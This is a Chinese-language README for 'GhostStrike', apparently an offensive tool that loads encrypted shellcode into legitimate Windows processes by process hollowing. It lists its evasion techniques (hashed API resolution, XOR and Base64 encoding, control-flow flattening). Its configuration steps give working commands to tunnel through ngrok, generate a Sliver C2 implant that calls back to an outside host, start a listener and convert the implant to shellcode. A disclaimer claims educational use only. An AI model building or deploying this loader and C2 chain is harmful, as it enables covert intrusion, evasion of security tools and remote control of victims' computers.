GhostStrike ⚔️

GhostStrike 是一款专为红队行动设计的高级网络安全工具，具备规避检测的复杂技术，并可在 Windows 系统上执行进程镂空（process hollowing）。

---

✨ 功能特性

• 动态 API 解析： 采用自定义的基于哈希的方法动态解析 Windows API，从而避免被基于特征的安全工具检测到。
• Base64 编码/解码： 对 shellcode 进行编码和解码，以掩盖其在内存中的存在，使静态分析工具更难检测到它。
• 加密密钥生成： 使用 Windows 加密 API 生成安全的加密密钥，对 shellcode 进行加密和解密，增加一层额外保护。
• XOR 加密/解密： 简单但有效的基于 XOR 的加密，在注入过程中保护 shellcode。
• 控制流平坦化： 实现控制流平坦化以混淆执行路径，增加静态和动态分析工具的分析难度。
• 进程镂空： 将加密的 shellcode 注入到合法的 Windows 进程中，使其能够隐蔽执行而不引起怀疑。

---

⚙️ 配置

你可以通过以下步骤配置 GhostStrike：

1. 创建 Ngrok 服务： ngrok tcp 443
2. 生成 Sliver C2 植入体： generate --mtls x.tcp.ngrok.io --save YourFile.exe
3. 创建监听器： mtls --lhost 0.0.0.0 --lport 443
4. 转换为 .bin： ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
5. 转换为 C++ Shellcode： xxd -i YourFile.bin > YourFile.h
6. 将 YourFile.h 导入到此代码中
7. 编译并尽情使用！🚀

---

💻 环境要求

• C++ 编译器： 任何现代 C++ 编译器，例如 g++、clang++ 或 Visual Studio，都足以编译此代码。

构建 GhostStrike 无需任何额外依赖。只需使用你偏好的 C++ 编译器编译源代码，即可开始使用！

---

⚠️ 免责声明

本工具仅用于教育目的以及在受控环境中使用。严禁在上述场景之外未经授权使用 GhostStrike。作者 @Stiven.Hacker 对本代码造成的任何滥用或损害不承担任何责任。

---

🎥 演示

在 LinkedIn 上查看 GhostStrike 的实际运行演示：

观看演示